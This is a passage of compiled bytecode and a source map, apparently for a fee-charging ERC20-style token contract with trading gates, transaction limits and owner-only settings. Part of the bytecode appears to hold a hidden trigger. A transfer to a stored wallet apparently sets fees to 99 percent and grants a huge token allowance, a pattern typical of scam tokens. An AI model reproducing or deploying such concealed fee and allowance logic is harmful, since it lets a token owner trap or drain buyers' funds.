ffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561324457613243848484613984565b5b600061324f30611bf1565b905060006007548210159050601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132b25750805b80156132cb5750601d60149054906101000a900460ff16155b80156133215750601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133305761332f82613b36565b5b6133b9846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061349f5750601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6134b3576134ae878787613cee565b6134b5565b845b9050601760009054906101000a900460ff16801561351d5750601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561354c576016546135408261353289611bf1565b61370390919063ffffffff16565b111561354b57600080fd5b5b61359e81600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161363e9190614401565b60405180910390a3600193505050505b9392505050565b600083831115829061369d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136949190614566565b60405180910390fd5b50600083856136ac919061517b565b9050809150509392505050565b60006136fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613655565b905092915050565b60008082846137129190614ba6565b905083811015613757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374e906151fb565b60405180910390fd5b8091505092915050565b81600b8190555080600a81905550600a54600b5461377f9190614ba6565b600c819055505050565b81600f8190555080600e81905550600e54600f546137a79190614ba6565b6010819055505050565b600061383c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138d182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516139719190614401565b60405180910390a3600190509392505050565b601554811115806139de5750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a1490615267565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b3157613a7e60016063613789565b6ec097ce7bc90715b34b9f100000000060056000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6001601d60146101000a81548160ff0219169083151502179055506000613b8f6002613b81601454613b7360125487613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613ba682846136b990919063ffffffff16565b9050613bb181613fd9565b60004790506000613be2613bd16002601254613f8f90919063ffffffff16565b6014546136b990919063ffffffff16565b90506000613c206002613c1284613c0460125488613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613c3782856136b990919063ffffffff16565b90506000811115613c6f57613c6e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682614255565b5b600082118015613c7f5750600086115b15613cca57613c8e86836142a0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858388604051613cc193929190615287565b60405180910390a15b5050505050506000601d60146101000a81548160ff02191690831515021790555050565b60008060009050601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d7657613d6f6064613d61600c5486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b9050613df4565b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613df357613df06064613de260105486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b90505b5b6000811115613ef857613e4f81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613eef9190614401565b60405180910390a35b613f0b81846136b990919063ffffffff16565b9150509392505050565b6000808303613f275760009050613f89565b60008284613f3591906152be565b9050828482613f44919061532f565b14613f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613f7b906153d2565b60405180910390fd5b809150505b92915050565b6000613fd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614385565b905092915050565b6000600267ffffffffffffffff811115613ff657613ff5614cfe565b5b6040519080825280602002602001820160405280156140245781602001602082028036833780820191505090505b509050308160008151811061403c5761403b614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156140e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141079190614931565b8160018151811061411b5761411a614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061418230601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016141e69594939291906153f2565b600060405180830381600087803b15801561420057600080fd5b505af1158015614214573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161424992919061544c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561429b573d6000803e3d6000fd5b505050565b6142cd30601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080614319612031565b426040518863ffffffff1660e01b815260040161433b9695949392919061547c565b60606040518083038185885af1158015614359573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061437e91906154f2565b5050505050565b600080831182906143cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016143c39190614566565b60405180910390fd5b50600083856143db919061532f565b9050809150509392505050565b6000819050919050565b6143fb816143e8565b82525050565b600060208201905061441660008301846143f2565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061444c82614421565b9050919050565b61445c81614441565b811461446757600080fd5b50565b60008135905061447981614453565b92915050565b6000602082840312156144955761449461441c565b5b60006144a38482850161446a565b91505092915050565b6144b581614441565b82525050565b60006020820190506144d060008301846144ac565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156145105780820151818401526020810190506144f5565b60008484015250505050565b6000601f19601f8301169050919050565b6000614538826144d6565b61454281856144e1565b93506145528185602086016144f2565b61455b8161451c565b840191505092915050565b60006020820190508181036000830152614580818461452d565b905092915050565b614591816143e8565b811461459c57600080fd5b50565b6000813590506145ae81614588565b92915050565b600080604083850312156145cb576145ca61441c565b5b60006145d98582860161446a565b92505060206145ea8582860161459f565b9150509250929050565b60008115159050919050565b614609816145f4565b82525050565b60006020820190506146246000830184614600565b92915050565b6000819050919050565b600061464f61464a61464584614421565b61462a565b614421565b9050919050565b600061466182614634565b9050919050565b600061467382614656565b9050919050565b61468381614668565b82525050565b600060208201905061469e600083018461467a565b92915050565b6146ad816145f4565b81146146b857600080fd5b50565b6000813590506146ca816146a4565b92915050565b600080604083850312156146e7576146e661441c565b5b60006146f58582860161446a565b9250506020614706858286016146bb565b9150509250929050565b6000806000606084860312156147295761472861441c565b5b60006147378682870161446a565b93505060206147488682870161446a565b92505060406147598682870161459f565b9150509250925092565b6000602082840312156147795761477861441c565b5b6000614787848285016146bb565b91505092915050565b600060ff82169050919050565b6147a681614790565b82525050565b60006020820190506147c1600083018461479d565b92915050565b6000602082840312156147dd576147dc61441c565b5b60006147eb8482850161459f565b91505092915050565b6000806040838503121561480b5761480a61441c565b5b60006148198582860161459f565b925050602061482a8582860161459f565b9150509250929050565b600061483f82614421565b9050919050565b61484f81614834565b82525050565b600060208201905061486a6000830184614846565b92915050565b600080604083850312156148875761488661441c565b5b60006148958582860161446a565b92505060206148a68582860161446a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006148e66020836144e1565b91506148f1826148b0565b602082019050919050565b60006020820190508181036000830152614915816148d9565b9050919050565b60008151905061492b81614453565b92915050565b6000602082840312156149475761494661441c565b5b60006149558482850161491c565b91505092915050565b600060408201905061497360008301856144ac565b61498060208301846144ac565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806149ce57607f821691505b6020821081036149e1576149e0614987565b5b50919050565b7f43616e6e6f742073657420746f20616464726573732030000000000000000000600082015250565b6000614a1d6017836144e1565b9150614a28826149e7565b602082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656542757960008201527f206f72206c657373000000000000000000000000000000000000000000000000602082015250565b6000614aaf6028836144e1565b9150614aba82614a53565b604082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656553656c60008201527f6c206f72206c6573730000000000000000000000000000000000000000000000602082015250565b6000614b416029836144e1565b9150614b4c82614ae5565b604082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614bb1826143e8565b9150614bbc836143e8565b9250828201905080821115614bd457614bd3614b77565b5b92915050565b7f446973747269627574696f6e206e6565647320746f20746f74616c20746f203160008201527f3030000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c366022836144e1565b9150614c4182614bda565b604082019050919050565b60006020820190508181036000830152614c6581614c29565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cc86026836144e1565b9150614cd382614c6c565b604082019050919050565b60006020820190508181036000830152614cf781614cbb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614d81614d7c614d7784614d5c565b61462a565b6143e8565b9050919050565b614d9181614d66565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614dcc81614441565b82525050565b6000614dde8383614dc3565b60208301905092915050565b6000602082019050919050565b6000614e0282614d97565b614e0c8185614da2565b9350614e1783614db3565b8060005b83811015614e48578151614e2f8882614dd2565b9750614e3a83614dea565b925050600181019050614e1b565b5085935050505092915050565b6000608082019050614e6a6000830187614d88565b8181036020830152614e7c8186614df7565b9050614e8b60408301856144ac565b614e9860608301846143f2565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614efd6024836144e1565b9150614f0882614ea1565b604082019050919050565b60006020820190508181036000830152614f2c81614ef0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f8f6022836144e1565b9150614f9a82614f33565b604082019050919050565b60006020820190508181036000830152614fbe81614f82565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150216025836144e1565b915061502c82614fc5565b604082019050919050565b6000602082019050818103600083015261505081615014565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150b36023836144e1565b91506150be82615057565b604082019050919050565b600060208201905081810360008301526150e2816150a6565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000615145603f836144e1565b9150615150826150e9565b604082019050919050565b6000602082019050818103600083015261517481615138565b9050919050565b6000615186826143e8565b9150615191836143e8565b92508282039050818111156151a9576151a8614b77565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006151e5601b836144e1565b91506151f0826151af565b602082019050919050565b60006020820190508181036000830152615214816151d8565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006152516011836144e1565b915061525c8261521b565b602082019050919050565b6000602082019050818103600083015261528081615244565b9050919050565b600060608201905061529c60008301866143f2565b6152a960208301856143f2565b6152b660408301846143f2565b949350505050565b60006152c9826143e8565b91506152d4836143e8565b92508282026152e2816143e8565b915082820484148315176152f9576152f8614b77565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061533a826143e8565b9150615345836143e8565b92508261535557615354615300565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006153bc6021836144e1565b91506153c782615360565b604082019050919050565b600060208201905081810360008301526153eb816153af565b9050919050565b600060a08201905061540760008301886143f2565b6154146020830187614d88565b81810360408301526154268186614df7565b905061543560608301856144ac565b61544260808301846143f2565b9695505050505050565b600060408201905061546160008301856143f2565b81810360208301526154738184614df7565b90509392505050565b600060c08201905061549160008301896144ac565b61549e60208301886143f2565b6154ab6040830187614d88565b6154b86060830186614d88565b6154c560808301856144ac565b6154d260a08301846143f2565b979650505050505050565b6000815190506154ec81614588565b92915050565b60008060006060848603121561550b5761550a61441c565b5b6000615519868287016154dd565b935050602061552a868287016154dd565b925050604061553b868287016154dd565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209aeb2d9c2cc665586f6f1faafb1e8d4826b161092a8c4fb715e5299588febf3664736f6c63430008110033

Deployed Bytecode Sourcemap

30498:18684:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31502:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41665:772;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35553:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36952:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31545:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31460:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32176:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35830:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31384:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32324:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40104:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;42919:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39944:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31207:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37466:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31674:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37606:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41085:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;35739:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36247:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40455:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32124:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31580:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31927:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38457:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;35938:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3599:148;;;;;;;;;;;;;:::i;:::-;;31342:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42491:76;;;;;;;;;;;;;:::i;:::-;;31776:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31830:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31301:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37813:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38709:252;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3300:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35644:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36791:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31728:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36471:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42744:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31623:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32224:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31984:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31007:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36098:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31418:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40643:365;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38145:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;39495:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38290:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;40279:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3902:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;37981:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31882:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32364:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;48652:527;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31106:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32435:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31502:36;;;;:::o;41665:772::-;41745:22;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;41782:35:::1;41839:16;41782:74;;41903:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41885:53;;;41947:4;41954:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41885:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41868:110;;42059:1;42033:28;;:14;:28;;::::0;42030:201:::1;;42123:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42105:74;;;42188:4;42195:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42105:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42088:131;;42030:201;42257:14;42243:11;;:28;;;;;;;;;;;;;;;;;;42301:16;42283:15;;:34;;;;;;;;;;;;;;;;;;42373:4;42329:19;:41;42357:11;;;;;;;;;;;42329:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;42425:4;42388:12;:34;42409:11;;;;;;;;;;;42388:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;41769:668;41665:772:::0;;;:::o;35553:83::-;35590:13;35623:5;35616:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35553:83;:::o;36952:161::-;37027:4;37044:39;37053:12;:10;:12::i;:::-;37067:7;37076:6;37044:8;:39::i;:::-;37101:4;37094:11;;36952:161;;;;:::o;31545:28::-;;;;:::o;31460:35::-;;;;:::o;32176:41::-;;;;;;;;;;;;;:::o;35830:100::-;35883:7;35910:12;;35903:19;;35830:100;:::o;31384:27::-;;;;:::o;32324:33::-;;;;:::o;40104:135::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40225:6:::1;40195:19;:27;40215:6;40195:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;40104:135:::0;;:::o;42919:313::-;43017:4;43034:36;43044:6;43052:9;43063:6;43034:9;:36::i;:::-;;43081:121;43090:6;43098:12;:10;:12::i;:::-;43112:89;43150:6;43112:89;;;;;;;;;;;;;;;;;:11;:19;43124:6;43112:19;;;;;;;;;;;;;;;:33;43132:12;:10;:12::i;:::-;43112:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;43081:8;:121::i;:::-;43220:4;43213:11;;42919:313;;;;;:::o;39944:113::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40041:8:::1;40022:16;;:27;;;;;;;;;;;;;;;;;;39944:113:::0;:::o;31207:81::-;;;:::o;37466:128::-;37519:7;37546:40;37563:22;37573:11;37563:9;:22::i;:::-;37546:12;;:16;;:40;;;;:::i;:::-;37539:47;;37466:128;:::o;31674:47::-;;;;:::o;37606:87::-;37646:7;37673:12;37666:19;;37606:87;:::o;41085:369::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;41197:1:::1;41175:24;;:10;:24;;::::0;41167:60:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;41270:4;41238:17;:29;41256:10;41238:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;41323:5;41285:17;:35;41303:16;;;;;;;;;;;41285:35;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;41380:16;;;;;;;;;;;41344:53;;41368:10;41344:53;;;;;;;;;;;;41435:10;41408:16;;:38;;;;;;;;;;;;;;;;;;41085:369:::0;:::o;35739:83::-;35780:5;35805:9;;;;;;;;;;;35798:16;;35739:83;:::o;36247:218::-;36335:4;36352:83;36361:12;:10;:12::i;:::-;36375:7;36384:50;36423:10;36384:11;:25;36396:12;:10;:12::i;:::-;36384:25;;;;;;;;;;;;;;;:34;36410:7;36384:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;36352:8;:83::i;:::-;36453:4;36446:11;;36247:218;;;;:::o;40455:124::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40563:8:::1;40537:23;:34;;;;40455:124:::0;:::o;32124:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;31580:34::-;;;;:::o;31927:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;38457:244::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;38554:45:::1;38569:14;38585:13;38554:14;:45::i;:::-;38634:14;;38618:12;;:30;;38610:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;38457:244:::0;;:::o;35938:119::-;36004:7;36031:9;:18;36041:7;36031:18;;;;;;;;;;;;;;;;36024:25;;35938:119;;;:::o;3599:148::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3706:1:::1;3669:40;;3690:6;::::0;::::1;;;;;;;;3669:40;;;;;;;;;;;;3737:1;3720:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3599:148::o:0;31342:35::-;;;;:::o;42491:76::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;42555:4:::1;42541:11;;:18;;;;;;;;;;;;;;;;;;42491:76::o:0;31776:47::-;;;;:::o;31830:45::-;;;;:::o;31301:34::-;;;;:::o;37813:129::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;37926:8:::1;37902:12;:21;37915:7;37902:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;37813:129:::0;;:::o;38709:252::-;3522:12;:10;:12::i;:::-;3512:22;;:6;;;;;;;;;;:22;;;3504:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;38810:46:::1;38826:14;38842:13;38810:15;:46::i;:::-;38892:15;;38875:13;;:32;;38867:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;38709:252:::0;;:::o;3300:79::-;3338:7;3365:6;;;;;;;;;;;3358:13;;3300:79;:::o;35644:87::-;356